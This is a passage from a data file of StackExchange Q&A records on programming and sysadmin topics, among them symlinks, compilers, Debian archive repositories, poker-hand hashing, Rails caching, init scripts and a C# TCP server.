|-- libs/cakephp/lib/Cake/Console/Templates/Application `-- libs/cakephp/lib/Cake/Console/Templates/skel `-- libs/cakephp/lib/Cake/Console/Templates/skel/Plugin `-- libs/cakephp/lib/Cake/Console/Templates/skel/Plugin/Application -> ../../Application [recursive, not followed]Here's the mysite.com/ tree:$ tree -lf mysite.com/mysite.com`-- mysite.com/cms-skel -> /home/saml/proj/libs/cakephp/lib/Cake/Console/Templates/skel/ `-- /home/saml/proj/libs/cakephp/lib/Cake/Console/Templates/skel//Plugin `-- /home/saml/proj/libs/cakephp/lib/Cake/Console/Templates/skel//Plugin/Application -> ../../ApplicationSo if we were to look at the Application link in the 1st tree, lib/:$ pwd/home/saml/proj/libs/cakephp/lib/Cake/Console/Templates/skel/Plugin$ readlink -f Application/home/saml/proj/libs/cakephp/lib/Cake/Console/Templates/ApplicationHowever, if we do the same analysis in the mysite.com/ directory we see our problem. $ pwd/home/saml/proj/mysite.com/cms-skel/Plugin$ readlink -f Application/home/saml/proj/libs/cakephp/lib/Cake/Console/Templates/ApplicationWhat's going on?Well when you're in the mysite.com/ tree 2 levels above mysite.com/cms-skel/Plugin/ is libs/cakephp/lib/Cake/Console/Templates.This should help to see it:$ pwd/home/saml/proj/mysite.com/cms-skel/Plugin$ readlink -f ../..//home/saml/proj/libs/cakephp/lib/Cake/Console/TemplatesI do not see a way around this given the differences in the number of directories within the 2 trees." } { "id": "_cs.6506" , "question": "Lots of basic questions are there in my mind. I need to clear them.Statement 1: A compiler converts a human-readable codes to object codes, and those are converted to a machine code (executable) by linker.Am I right here?At wikipedia, it is written thatObject files are produced by an assembler, compiler, or other languagetranslator, and used as input to the linker.Question 1: An assembler converts assembly language code (MOV A, B ADD C) to machine code. In case of high-level language like C++, that is generated by linker above. So assembler is not used anywhere. So how can it create an object file as written above? Intermediate code is generated to make the code run on different architectures.Question 2: Are *.class (bytecode) files created by java compiler object files? If yes, then can we say that the JVM that runs them is a type of linker (however its not creating the executable)?Question 3: When we compile a C++ program in Turbo C++, we get *.obj files which are the object files. Can we use them to generate the executable in some other architecture?" , "title": "Some questions regarding compilers and assemblers" , "tags": "terminology;compilers;code generation" , "accepted_answer": "I'll try to give a quick answer:Question 1: compiling a high-level language like C requires these steps:source codes --(preprocessing)--> bare *.c without # stuff --(compiling)------> assembler files --(assembling)-----> object files --(linking)--------> executableNowadays all these steps are usually hidden (and not necessarily performed by distinct programs) and the user simply click compile on his favourite IDE. However you can set some options on the compiler and see all the intermediate files like object files.Question 2: a JVM is an interpreter so you can think of .class files like object codes (bytecode) that are loaded, linked and executed (interpreted) at the same time by the JVM.Question 3: though in principle one can convert an object file to a different target architecture the practical answer is no: it's much easier to start from the source code and run the entire compiling process targeting a different architecture." } { "id": "_unix.66830" , "question": "Debian Lenny, the current oldstable, ceased receiving security updates early in February, and now seems to no longer be hosted at the usual FTP mirrors (see, e.g., curl http://ftp.nl.debian.org/debian/dists/lenny/ | less). Are there any surviving FTP repositories of Lenny that can be used via APT?" , "title": "Are there any source APT repositories for Debian Lenny?" , "tags": "debian" , "accepted_answer": "As answered at serverfault.com or more verbose at superuser.com,you need to use now archive.debian.org:deb http://archive.debian.org/debian/ lenny contrib main non-freedeb http://archive.debian.org/debian-security lenny/updates mainTo get the GPG key: apt-get install debian-archive-keyring" } { "id": "_webmaster.2042" , "question": "I'm looking into implementing the Facebook like-button on my site. Therefore i'm looking for some good examples of the use of the like-button.I'm looking at the placement of the like-button and the use of the Open Graph meta-properties.Please explain why you like a particular implementation" , "title": "What is the best implementation of the Facebook like-button you've seen?" , "tags": "facebook" } { "id": "_cs.72542" , "question": "A deck of cards is 52. A hand is 5 cards from the 52 (cannot have a duplicate). What is the least amount of bits to represent a 5 card hand and how?A hand is NOT order dependent (KQ = QK). 64329 = 96432Yes, can use 52 bits. That can represent a hand of any number of cards. Given a hand is exactly 5 cards is there a way to represent it with less than 52 bits. A single card can be represented with 6 bits = 64. So could just use 6 bits * 5 cards = 30 bits. But that would be order dependent. I could just sort and this should work. If that would not work please let me know. Is there a way to get the key to 32 bits or under and not have to sort the 5 card tuple. This is for poker simulations and sorting would be a lot of overhead compared to just generating the hand. If I have a dictionary with the relative value of each hand it is two simple lookups and a comparison to compare the value of two hands. If I have to sort the hands first that is large compared to two lookups and a comparison. In a simulation will compare millions. I will not get sorted hands from the simulation. The sort is not simple like 52 51 50 49 48 before 52 51 50 49 47. You can have straight flush quads ....There are 2598960 possible 5 card hands. That is the number of rows. The key is the 5 cards. I would like to get a key that is 32 bits or under where the the cards do not need to be sorted first. Cannot just order the list as many hands tie. Suit are spade, club, diamond, and heart. 7c 8c 2d 3d 4s = 7s 8s 2c 3c 4h. There is a large number of ties.The next step is 64 bits and will take the hit of the sort rather than double the size of the key. I tested and SortedSet quickSort = new SortedSet() { i, j, k, m, n }; doubles the time of the operation but I still may do it.It gets more complex. I need to be able to represent a boat as twos over fives (22255). So sorting them breaks that. I know you are going to say but that is fast. Yes it is fast and trivial but I need as fast as possible.C# for the accepted answer: private int[] DeckXOR = new int[] {0x00000001,0x00000002,0x00000004,0x00000008,0x00000010,0x00000020,0x00000040, 0x00000080,0x00000100,0x00000200,0x00000400,0x00000800,0x00001000,0x00002000, 0x00004000,0x00008000,0x00010000,0x00020000,0x00040000,0x00080000,0x00100000, 0x00200000,0x00400000,0x00800000,0x01000000,0x02000000,0x04000000,0x07fe0000, 0x07c1f000,0x0639cc00,0x01b5aa00,0x056b5600,0x04ed6900,0x039ad500,0x0717c280, 0x049b9240,0x00dd0cc0,0x06c823c0,0x07a3ef20,0x002a72e0,0x01191f10,0x02c55870, 0x007bbe88,0x05f1b668,0x07a23418,0x0569d998,0x032ade38,0x03cde534,0x060c076a, 0x04878b06,0x069b3c05,0x054089a3};public void PokerProB(){ Stopwatch sw = new Stopwatch(); sw.Start(); HashSet cardsXOR = new HashSet(); int cardXOR; int counter = 0; for (int i = 51; i >= 4; i--) { for (int j = i - 1; j >= 3; j--) { for (int k = j - 1; k >= 2; k--) { for (int m = k - 1; m >= 1; m--) { for (int n = m - 1; n >= 0; n--) { counter++; cardXOR = DeckXOR[i] ^ DeckXOR[j] ^ DeckXOR[k] ^ DeckXOR[m] ^ DeckXOR[n]; if (!cardsXOR.Add(cardXOR)) Debug.WriteLine(problem); } } } } } sw.Stop(); Debug.WriteLine(Count {0} millisec {1} , counter.ToString(N0), sw.ElapsedMilliseconds.ToString(N0)); Debug.WriteLine();}" , "title": "Represent a 5 card poker hand" , "tags": "combinatorics" , "accepted_answer": "Let $C$ be a $[52,25,11]$ code. The parity check matrix of $C$ is a $27 \\times 52$ bit matrix such that the minimal number of columns whose XOR vanishes is $11$. Denote the $52$ columns by $A_1,\\ldots,A_{52}$. We can identify each $A_i$ as a binary number of length $27$ bits. The promise is that the XOR of any $1$ to $10$ of these numbers is never $0$. Using this, you can encode your hand $a,b,c,d,e$ as $A_a \\oplus A_b \\oplus A_c \\oplus A_d \\oplus A_e$, where $\\oplus$ is XOR. Indeed, clearly this doesn't depend on the order, and if two hands $H_1,H_2$ collide, then XORing the two hash values gives $10-2|H_1 \\cap H_2|\\leq 10$ numbers whose XOR is zero.Bob Jenkins describes such a code in his site, and from that we can extract the array0x00000001,0x00000002,0x00000004,0x00000008,0x00000010,0x00000020,0x00000040,0x00000080,0x00000100,0x00000200,0x00000400,0x00000800,0x00001000,0x00002000,0x00004000,0x00008000,0x00010000,0x00020000,0x00040000,0x00080000,0x00100000,0x00200000,0x00400000,0x00800000,0x01000000,0x02000000,0x04000000,0x07fe0000,0x07c1f000,0x0639cc00,0x01b5aa00,0x056b5600,0x04ed6900,0x039ad500,0x0717c280,0x049b9240,0x00dd0cc0,0x06c823c0,0x07a3ef20,0x002a72e0,0x01191f10,0x02c55870,0x007bbe88,0x05f1b668,0x07a23418,0x0569d998,0x032ade38,0x03cde534,0x060c076a,0x04878b06,0x069b3c05,0x054089a3Since the first 27 vectors are just the 27 numbers of Hamming weight 1, in order to check that this construction is correct it suffices to consider all $2^{52-27}-1 = 2^{25}-1$ possible non-trivial combinations of the last 25 numbers, checking that their XORs always have Hamming weight at least 10. For example, the very first number 0x07fe0000 has Hamming weight exactly 10." } { "id": "_reverseengineering.9126" , "question": "I've been trying to google any information about how can i create a viewer for some custom file formats.In my case I've extracted multiple .tbl files from game sources. This file contains a database table. From what I was able to google, I was able to extract file header. I have tried some tbl-viewers but they say file is corrupted, so i assume that custom encryption presents here.First Bytes of file 1:00000000 46 54 41 42 4c 45 00 00 00 00 10 00 21 00 00 0000000010 03 00 00 00 2c 00 00 00 b0 00 00 00 b4 00 00 0000000020 10 00 00 00 c4 02 00 00 00 00 00 00 01 00 00 0000000030 02 00 00 00 03 00 00 00 04 00 00 00 05 00 00 00First Bytes of file 2:00000000 46 54 41 42 4c 45 00 00 00 00 10 00 22 00 00 0000000010 15 00 00 00 2c 00 00 00 b4 00 00 00 ca 00 00 0000000020 58 00 00 00 7a 0c 00 00 00 00 00 00 01 00 00 0000000030 02 00 00 00 03 00 00 00 04 00 00 00 06 00 00 00So in this case first 12 bytes seem to be the file header46 54 41 42 4c 45 00 00 00 00 10 00which stand for FTABLE......And this is where i am stuck at. I didnt find information on what to do next to achieve my goal" , "title": "File reverse engineering - .tbl format" , "tags": "file format;encryption" } { "id": "_softwareengineering.333435" , "question": "TL;DROur app has a Django backend and an Angular 2 frontend; we package it up in Docker. Our client wishes to run this app on their HPC hardware. In return, they pay us a monthly 'subscription'.How can we make sure that the client cannot cancel the contract with us but continue to use the software?More detailWe have made this app that manages simulations and the data from simulations that use an HPC resource. We intend to make this a cloud-based thing but we have a client who wants to use their own hardware.We have a good relationship with them and value their feedback, so we're happy with this arrangement.Our concern is if we try to enter similar agreements with other clients we don't know in the future. We'd probably want to let them trial the software first, but how do we prevent them from running off with it afterwards?We have a Django backend and an Angular 2 frontend. I don't know if that makes a big difference.I understand we can obfuscate the code somewhat. Though, there will always be a way back to the original code. Our bigger concern is that someone can stop paying the bills but continue to use our software.Is there some way we can license the app? I wonder if there is a way to make the code only work if a valid key is provided. These keys would become invalid over time. We would be the only ones who could generate these keys.Oh. And this client's HPC doesn't connect to the internet. So no cloud-based authorisation is going to work, I don't think.Any ideas?" , "title": "How to control use software hosted on client's computer" , "tags": "licensing;client relations" } { "id": "_codereview.123950" , "question": "private void loadTabsIfGPSAndInternetAvailable() { final Utils utils = new Utils(this); final LocationClient locationClient = new LocationClient(this); if (!utils.isConnected()) { utils.generateNoConnectivityAlert(); } else if (!locationClient.hasGPS()) { utils.generateNoGPSAlert(); } else { if (androidVersion >= Build.VERSION_CODES.M) { requestAllPermissions(); } else { loadCameraAndForecastTabs(); } } // ends else block for if internet and GPS are enabled }This is some code that loads tabs if the GPS and internet connectivity are available. I'm aware that at the moment this is very messy code, with lots of nested if statements, that is hard to read, and am not sure how to structure it better. Can people help me please?" , "title": "Asking for GPS and Internet permissions" , "tags": "java;android" } { "id": "_unix.283531" , "question": "A have a brand new 16GB class 10 SD card and produce a very strange behavior.After I attached the the card with an USB SD-Card reader, the device appeared as /dev/sdb. I tried to copy a 2GB raw image with dd into, but it's immediately returns: No more space left on device.The block device shows: there is only 10M space on it.ls -lah /dev/sdb-rw-r--r-- 1 root root 10M mj 16 23:16 /dev/sdbfdisk shows the same size:fdisk -l /dev/sdbDisk /dev/sdb: 10 MiB, 10485760 bytes, 20480 sectorsUnits: sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisklabel type: dosDisk identifier: 0x84f9d19fI've tried the SD-card with another reader, but looks like it's not a card reader issue, the size of the SD card is 10M with every single reader.cat /proc/partitionsmajor minor #blocks name... 8 16 15558144 sdb...The interesting part is: the kernel looks like actually knows the right size of SD card.cat /sys/block/sdb/size31116288 # numbers of 512 byte blocks => 15.93 GBAnd seems like it's properly recognized.May 16 22:58:07 DDSI-Laptop kernel: [258762.883672] usb 1-3: New USB device found, idVendor=14cd, idProduct=125cMay 16 22:58:07 DDSI-Laptop kernel: [258762.883674] usb 1-3: New USB device strings: Mfr=1, Product=3, SerialNumber=2May 16 22:58:07 DDSI-Laptop kernel: [258762.883675] usb 1-3: Product: Mass Storage DeviceMay 16 22:58:07 DDSI-Laptop kernel: [258762.883676] usb 1-3: Manufacturer: GenericMay 16 22:58:07 DDSI-Laptop kernel: [258762.883677] usb 1-3: SerialNumber: 125C20100726May 16 22:58:07 DDSI-Laptop kernel: [258762.883972] usb-storage 1-3:1.0: USB Mass Storage device detectedMay 16 22:58:07 DDSI-Laptop kernel: [258762.884114] scsi host52: usb-storage 1-3:1.0May 16 22:58:07 DDSI-Laptop mtp-probe: checking bus 1, device 30: /sys/devices/pci0000:00/0000:00:14.0/usb1/1-3May 16 22:58:07 DDSI-Laptop mtp-probe: bus: 1, device: 30 was not an MTP deviceMay 16 22:58:08 DDSI-Laptop kernel: [258763.881813] scsi 52:0:0:0: Direct-Access Mass Storage Device PQ: 0 ANSI: 0 CCSMay 16 22:58:08 DDSI-Laptop kernel: [258763.882008] sd 52:0:0:0: Attached scsi generic sg1 type 0May 16 22:58:08 DDSI-Laptop kernel: [258763.883073] sd 52:0:0:0: [sdb] 31116288 512-byte logical blocks: (15.9 GB/14.8 GiB)May 16 22:58:08 DDSI-Laptop kernel: [258763.883195] sd 52:0:0:0: [sdb] Write Protect is offMay 16 22:58:08 DDSI-Laptop kernel: [258763.883198] sd 52:0:0:0: [sdb] Mode Sense: 03 00 00 00May 16 22:58:08 DDSI-Laptop kernel: [258763.883312] sd 52:0:0:0: [sdb] No Caching mode page foundMay 16 22:58:08 DDSI-Laptop kernel: [258763.883315] sd 52:0:0:0: [sdb] Assuming drive cache: write throughWhat cause the difference?" , "title": "linux: Class10 SD card different device and block device size" , "tags": "linux;debian;block device;sd card;partition table" , "accepted_answer": "- /dev/sdbThis is a regular file, not a device. You must have tried to write to /dev/sdb at some point when there was no device connected with this drive letter. Be careful! You were lucky not to overwrite a different device from the one you intended.Information about block devices in /proc and /sys is provided directly by the kernel uses the kernel's name for the device. Device nodes in /dev are managed by udev; they normally follow the kernel's device names (and add other names as symbolic links) but writing to /dev manually can disrupt udev. Since the directory entry /dev/sdb already existed, it didn't create the device node when you plugged in the SD card.Remove /dev/sdb, eject the SD card, plug it back in, and check what device name it gets. You should see a block device:$ ls -l /dev/sdbbrw-rw-rw- 1 root disk 8, 16 /dev/sdb " } { "id": "_codereview.61080" , "question": "I have a Rails 3.2.14 app where I have a home controller (dashboard). In this controller and view I'm calling multiple instance variables to get different counts based off of scopes I've created in the Call and Unit model. I'd like to see if anyone has any suggestions on how I can DRY this up and query less so the controller/view loads faster. This code is very old and I'm looking for the best way to refactor it.home_controller.rb def index @calls = Call.open_status @all = Call.all @unit = Unit.active.order(unit_name) @avail = Unit.active.in_service @unavail = Unit.active.out_of_service @unassigned = Call.unassigned_calls @today = Call.today @year = Call.year @previous = Call.previous_year @assigned = Call.assigned_calls.until_end_of_day @unassigned = Call.unassigned_calls.until_end_of_day @scheduled = Call.scheduled_calls endendcall.rb model scope :open_status, where(call_status: open) scope :cancel, where(call_status: cancel) scope :closed, where(call_status: close) scope :waitreturn, where(wait_return: yes) scope :wc, lambda { where(service_level_id: ServiceLevel.find_by_level_of_service(WC).id) } scope :bls, lambda { where(service_level_id: ServiceLevel.find_by_level_of_service(BLS).id) } scope :als, lambda { where(service_level_id: ServiceLevel.find_by_level_of_service(ALS).id) } scope :micu, lambda { where(service_level_id: ServiceLevel.find_by_level_of_service(MICU).id) } scope :cct, lambda { where(service_level_id: ServiceLevel.find_by_level_of_service(CCT).id) } scope :assist, lambda { where(service_level_id: ServiceLevel.find_by_level_of_service(ASSIST).id) } scope :em, lambda { where(service_level_id: ServiceLevel.find_by_level_of_service(EM).id) } scope :by_service_level, lambda { |service_level| where(service_level_id: ServiceLevel.find_by_level_of_service(service_level).id) } scope :by_region, lambda { |region| where(region_id: Region.find_by_area(region).id) } scope :from_facility, lambda { |id| where(transfer_from_id: id) } scope :to_facility, lambda { |id| where(transfer_to_id: id) } scope :search_between, lambda { |start_date, end_date| where(transfer_date BETWEEN ? AND ?, start_date.beginning_of_day, end_date.end_of_day)} scope :search_by_start_date, lambda { |start_date| where('transfer_date BETWEEN ? AND ?', start_date.beginning_of_day, start_date.end_of_day) } scope :search_by_end_date, lambda { |end_date| where('transfer_date BETWEEN ? AND ?', end_date.beginning_of_day, end_date.end_of_day) } scope :open_calls, lambda { open_status.includes(:call_units).where([call_units.unit_id IS NOT NULL]) } scope :unassigned_calls, lambda { open_status.includes(:call_units).where([call_units.unit_id IS NULL]).order(transfer_date ASC) } scope :assigned_calls, lambda { open_status.includes(:call_units).where([call_units.unit_id IS NOT NULL]).order(transfer_date ASC) } scope :by_unit_name, lambda {|unit_name| joins(:units).where('units.unit_name = ?', unit_name)} scope :ambulance, lambda {joins(:units).where('units.vehicle_type = ?', Ambulance)} scope :wheelchair, lambda {joins(:units).where('units.vehicle_type = ?', Wheelchair)} scope :scheduled_calls, lambda { open_status.includes(:call_units).where([calls.transfer_date > ?, Time.zone.now.end_of_day]).order(transfer_date ASC) } scope :medic_calls, lambda { where([call_status = ? and call_units.unit_id IS NOT NULL, open]).order(id ASC) } scope :today, lambda { where(transfer_date BETWEEN ? AND ?, Time.zone.now.beginning_of_day, Time.zone.now.end_of_day) } scope :yesterday, lambda { where(transfer_date BETWEEN ? AND ?, 1.day.ago.beginning_of_day, 1.day.ago.end_of_day) } scope :year, lambda { where(transfer_date BETWEEN ? AND ?, Time.zone.now.beginning_of_year, Time.zone.now.end_of_year) } scope :previous_year, lambda {where(transfer_date BETWEEN ? AND ?, 1.year.ago.beginning_of_year, 1.year.ago.end_of_year)} scope :until_end_of_day, lambda { where(transfer_date < ?, Time.zone.now.end_of_day) }unit.rb model scope :in_service, lambda { where(status_id: Status.where(unit_status: [In Service, At Post, At Station]).map(&:id))} scope :out_of_service, lambda { where(status_id: Status.find_by_unit_status(Out of Service).id)} scope :active, where(unit_status: Active)home/index.html.erb
<%= @today.count %> Today's Calls <%= @year.count %> Current YTD Calls <%= @previous.count %> Previous YTD Calls <%= @all.count %> Calls To Date <%= @calls.count %> Open Calls <%= @assigned.count %> Active Calls <%= @scheduled.count %> Scheduled Calls <%= @unassigned.count %> Unassigned Calls <%= @today.ambulance.count %> Ambulance Calls <%= @today.wheelchair.count %> Wheelchair Calls <%= @avail.count %> Units In Service <%= @unavail.count %> Units Out of Service <%= @today.bls.count %> BLS Calls <%= @today.als.count %> ALS Calls <%= @today.cct.count %> CCT Calls <%= @today.micu.count %> MICU Calls

Medics

<% @unit.each do |unit| %> <% end %>
Unit Attendant InCharge
<%= unit.try(:unit_name) %> <%= unit.attendant.try(:medic_name) %> <%= unit.incharge.try(:medic_name) %>

Units

<% @unit.each do |unit| %> <% end %>
Unit Status
<%= unit.try(:unit_name) %>
><%= unit.status.try(:unit_status) %>
" , "title": "Controller and view to call multiple instance variables" , "tags": "ruby;html;ruby on rails;active record;erb" , "accepted_answer": "Wow... yeah, that's a lot.My immediate suggestion would be to simply make the dashboard do less. I doubt all of those things are of extreme importance all the time.A lot seems like historical data (that spans years), but it's shown along side current stuff (that spans hours, it seems). I imagine most users only use a fraction of all that (and some users are no doubt intimidated). No offense intended, but I imagine the UI is simply overwhelming users - until they learn to ignore almost all of it, and just focus on the things they actually need.If it must be on one page, load the less-important data on-demand via ajax.Second suggestion: Aggressively cache as much as you can. Cache, cache, cache. For instance, any YTD-value will by definition only change once per day, not for each request. Check out the Rails Guides for some ideas and ActiveSupport::Cache for the implementation, and/or look into things like redis and memcached.Rails has a lot built-in already, though. For instance, you could cache something like the last year's number of calls like so:class Call def self.previous_year_cached expiry = Time.zone.now.end_of_year - Time.zone.now Rails.cache.fetch([self.name, previous_year_count], expires_in: expiry) do self.previous_year.count end endendSo now, when you call Call.previous_year_cached it'll either give you a cached value without hitting the database, or it'll execute the block to find and store a new value. And it'll set the cache to expire on New Year's Eve (you could of course also just set to expire after 1.week or something, and skip the calculation, but it's just a little arithmetic).Second line of caching is view caching. The Rails Guides I linked to above provide a good introduction to those. View caching will often give you even more of a speed-up, since rendering views is time-consuming. So view caching will give you the most bang for your buck, because you're caching at the very last step before sending the page to the browser. But any kind of caching will help speed things up, so data caching like above will also help. That way, even if a view has to be re-rendered, it might still avoid hitting the database by pulling its values from the cache.You can also cache things without an explicit expiration date, and instead just flush (remove) the cache when it needs to update. For instance, you could cache today's calls, and flush the cached count when a new call record is added:class Call after_create :flush_cache after_destroy :flush_cache def self.today_count_cached Rails.cache.fetch([self.name, today_count]) { self.today.count } end private def flush_cache Rails.cache.delete([self.class.name, today_count]) endendYou can of course add many more cached values this way, choosing when to store and delete them. See ActiveRecord's callbacks for the triggers you can act on.Third option would be to do more client-side. Let users sort and filter instead of trying to anticipate every single data breakdown a user could want. Again, I doubt your users actually want all that data . They may think they do, but do they really? It's easy to say yes if we pretend there are no tradeoffs, but there are: usability and speed (and maintainability, and development time).Try checking out ux.stackexchange.com. Besides perhaps finding some good tips for organizing a lot of data, you'll no doubt also find studies that indicate exactly how much information a human being can actually process. It's always useful to have scientific studies to refer to, if you want to argue for a more simple design.I know it's trite, but less is more. Really.I know this isn't much of a code review, but the individual pieces look OK on their own. There are just too many pieces, if you ask me. The only thing that looks iffy (after a quick glance) are all the service level scopes. If you just make a scope for every conceivable service level, you might as well just have 1 scope with a lambda, and pass in the service level (or use service_level.calls). What you have right now is overly specific, and couples everything very tightly. " } { "id": "_softwareengineering.142289" , "question": "How are authors able to write a book on a framework that is just released? A framework like spring is updated, and a book is released in the next day. Is this typically by people who are direct contributors? Are they basing it off of beta/alpha versions? I find this rather difficult to understand as that documentation is rarely up to snuff by the time the framework is updated." , "title": "How does one write a book on a new framework?" , "tags": "books;technical writing" , "accepted_answer": "Those who write books about frameworks are generally involved in the framework they are writing about, they have access to documentation and pre-release versions of the framework. They aren't random people that know about programming, they likely contacted the development team about writing a book and got the information or were asked by the development team to write a book. Also good frameworks keep their documentation up to date, its part of being a good framework, though the general public may not have access to the most up to date documentation." } { "id": "_webapps.86739" , "question": "I want to gather information and pictures from 100 college alumni. How can I do this in a way where I can send individual links to each alumni member?" , "title": "How do I send individual links to collect data in Cognito Forms" , "tags": "cognito forms" } { "id": "_unix.218797" , "question": "Hello I am newbie in bash and I am coding a daemon to execute a service. The syntax is ./ctlscript.sh start. When I execute service openproject start it should run this command, but it runs ./ctlscript.sh whitout a parameter and I get the usage. This is my script:#! /bin/sh### BEGIN INIT INFO# Provides: openproject# Required-Start: $remote_fs $syslog# Required-Stop: $remote_fs $syslog# Default-Start: 2 3 4 5# Default-Stop: 0 1 6# Short-Description: Openprject# Description: This file starts and stops Openproject server#### END INIT INFOOPENP_DIR=/opt/openprjcase $1 in start) su administrador -c $OPENP_DIR/ctlscript.sh start ;; stop) su administrador -c $OPENP_DIR/ctlscript.sh stop ;; restart) su administrador -c $OPENP_DIR/ctlscript.sh stop sleep 20 su administrador -c $OPENP_DIR/ctlscript.sh start ;; *) echo Usage: openproject {start|stop|restart} >&2 exit 3 ;;esacThis is what I get when I run service openproject stop. It is the same when I launch ./ctlscript.sh (without any parameter):usage: /opt/openprj/ctlscript.sh help /opt/openprj/ctlscript.sh (start|stop|restart|status) /opt/openprj/ctlscript.sh (start|stop|restart|status) mysql /opt/openprj/ctlscript.sh (start|stop|restart|status) memcached /opt/openprj/ctlscript.sh (start|stop|restart|status) apache /opt/openprj/ctlscript.sh (start|stop|restart|status) subversion /opt/openprj/ctlscript.sh (start|stop|restart|status) openprojecthelp - this screenstart - start the service(s)stop - stop the service(s)restart - restart or start the service(s)status - show the status of the service(s)Thanks in advance." , "title": "Execute sh with parameters in bash" , "tags": "bash;shell;daemon" , "accepted_answer": "The argument to -c must be a single word, so su administrador -c $OPENP_DIR/ctlscript.sh startFor restart, you should stop first, then start" } { "id": "_codereview.72017" , "question": "I am working on a banking application. I want to create a multithreaded TCP Payment Card (iso8583) server that can handle passbook printing requests simultaneously. Multiple devices are connected to the server from different locations.I am going to use below code in my application. Is this thread safe? Can I face any problem in the future if I use this code? All suggestions welcome.class Program { static void Main(string[] args) { TcpListener serverSocket = new TcpListener(8888); TcpClient clientSocket = default(TcpClient); int counter = 0; serverSocket.Start(); Console.WriteLine( >> + Server Started); counter = 0; while (true) { counter += 1; clientSocket = serverSocket.AcceptTcpClient(); Console.WriteLine( >> + Client No: + Convert.ToString(counter) + started!); handleClinet client = new handleClinet(); client.startClient(clientSocket, Convert.ToString(counter)); } clientSocket.Close(); serverSocket.Stop(); // Console.WriteLine( >> + exit); Console.ReadLine(); } } //Class to handle each client request separatly public class handleClinet { TcpClient clientSocket; string clNo; public void startClient(TcpClient inClientSocket, string clineNo) { this.clientSocket = inClientSocket; this.clNo = clineNo; Thread ctThread = new Thread(doChat); ctThread.Start(); } private void doChat() { int requestCount = 0; byte[] bytesFrom = new byte[10025]; string dataFromClient = null; Byte[] sendBytes = null; string serverResponse = null; string rCount = null; requestCount = 0; while ((true)) { try { var respose = ; requestCount = requestCount + 1; NetworkStream networkStream = clientSocket.GetStream(); networkStream.Read(bytesFrom, 0, (int)clientSocket.ReceiveBufferSize); dataFromClient = System.Text.Encoding.ASCII.GetString(bytesFrom); // dataFromClient = dataFromClient.Substring(0, dataFromClient.IndexOf($)); Console.WriteLine( >> + From client- + clNo + dataFromClient); try { var isoPassbookRequestMessage = System.Text.Encoding.ASCII.GetString(bytesFrom); WebClient wc = new WebClient(); NameValueCollection input = new NameValueCollection(); input.Add(isoPassbookRequest, Convert.ToBase64String(bytesFrom)); respose = Encoding.ASCII.GetString(wc.UploadValues(http://localhost:52835/Transaction/PassbookTransactionRequest, input)); try { // CommonMethods.AddtoLogFile(PassbookTransactionResponse = Clientid- + clientID + ProcessingCode -930000 Message - + respose); // atmServer.Send(clientID, Encoding.ASCII.GetBytes(respose)); } catch (SocketException se) { //could not complete transaction //Send reversal to CBS } } catch (Exception e) { } rCount = Convert.ToString(requestCount); serverResponse = Server to clinet( + clNo + ) + rCount; sendBytes = Encoding.ASCII.GetBytes(respose); networkStream.Write(sendBytes, 0, sendBytes.Length); networkStream.Flush(); Console.WriteLine( >> + serverResponse); } catch (Exception ex) { Console.WriteLine( >> + ex.ToString()); } } } }" , "title": "TCP Server with multithreading" , "tags": "c#;multithreading;asynchronous;socket;tcp" } { "id": "_codereview.59867" , "question": "I'm working on a simple dictionary tool, with a base class that can be extended by plugins to represent different dictionaries. The base class does most of the heavy lifting: it keeps the index of all entries in memory, and it handles searching the index. Plugins that extend this class implement populating the index and loading the entries on demand, handling the specifics of the dictionary backend, such as the formatting of entries.These are the base classes:import abcfrom collections import defaultdictclass BaseEntry(object): def __init__(self, entry_id, name): self.entry_id = entry_id self.name = name @property def content(self): return { 'id': self.entry_id, 'name': self.name, 'content': [], 'references': [], } def __repr__(self): return '%s: %s' % (self.entry_id, self.name)class BaseDictionary(object): @abc.abstractproperty def name(self): return '' @abc.abstractproperty def is_public(self): return False @property def license(self): return None def __init__(self): self.items_sorted = {} self.items_by_name = defaultdict(list) self.items_by_id = {} self.load_index() def find(self, word, find_similar=False): matches = self.items_by_name.get(word) if matches: return matches if find_similar: return self.find_by_prefix(word, find_similar=True) return [] def find_by_prefix(self, prefix, find_similar=False): matches = [] for k in self.items_sorted: if k.startswith(prefix): matches.extend(self.items_by_name[k]) elif matches: break if find_similar and not matches and len(prefix) > 1: return self.find_by_prefix(prefix[:-1], find_similar=True) return matches def find_by_suffix(self, suffix): matches = [] for k in self.items_sorted: if k.endswith(suffix): matches.extend(self.items_by_name[k]) return matches def find_by_partial(self, partial): matches = [] for k in self.items_sorted: if partial in k: matches.extend(self.items_by_name[k]) return matches def get_entry(self, entry_id): entry = self.items_by_id.get(entry_id) if entry: return [entry] else: return [] def add(self, entry): self.items_by_name[entry.name].append(entry) self.items_by_id[entry.entry_id] = entry def reindex(self): self.items_sorted = sorted(self.items_by_name) @abc.abstractmethod def load_index(self): Populate the index. Implement like this: for entry in entries: self.add(entry) self.reindex() :return: passThis is an example plugin implementation:import osimport refrom settings import dictionary_pathfrom dictionary.base import BaseDictionary, BaseEntry, lazy_propertyINDEX_PATH = os.path.join(dictionary_path, 'index.dat')re_strong_defs = re.compile(r'(Defn:|Syn\\.)')re_strong_numdots = re.compile(r'(\\d+\\. )')re_strong_alphadots = re.compile(r'(\\([a-z]\\))')re_em_roundbr = re.compile(r'(\\([A-Z][a-z]+\\.\\))')re_em_squarebr = re.compile(r'(\\[[A-Z][a-z]+\\.\\])')def load_entry_content(word, filename): path = os.path.join(dictionary_path, filename) if not os.path.isfile(path): return with open(path) as fh: count = 0 content = [] definition_list = [] for line in fh: # first line contains the term, and ignore next 2 lines if count < 3: if count == 0: word = line.strip().lower() count += 1 continue line = line.strip() line = line.replace('*', '') line = re_strong_defs.sub(r'**\\1**', line) line = re_strong_numdots.sub(r'**\\1** ', line) line = re_strong_alphadots.sub(r'**\\1**', line) line = re_em_roundbr.sub(r'*\\1*', line) line = re_em_squarebr.sub(r'*\\1*', line) if line: content.append(line) else: definition_list.append(['', ' '.join(content)]) content = [] return { 'id': filename, 'name': word, 'content': definition_list, 'references': [] } class Dictionary(BaseDictionary): @property def name(self): return 'Webster\\'s Unabridged Dictionary' @property def is_public(self): return True @property def license(self): return The content of this dictionary is for the use of anyone anywhere at no cost and with almost no restrictions whatsoever. You may copy it, give it away or re-use it under the terms of the Project Gutenberg License included online at www.gutenberg.net def load_index(self): with open(INDEX_PATH) as fh: for line in fh: (entry_id, name) = line.strip().split(':') entry = Entry(entry_id, name) self.add(entry) self.reindex() def get_entry(self, entry_id): entries = 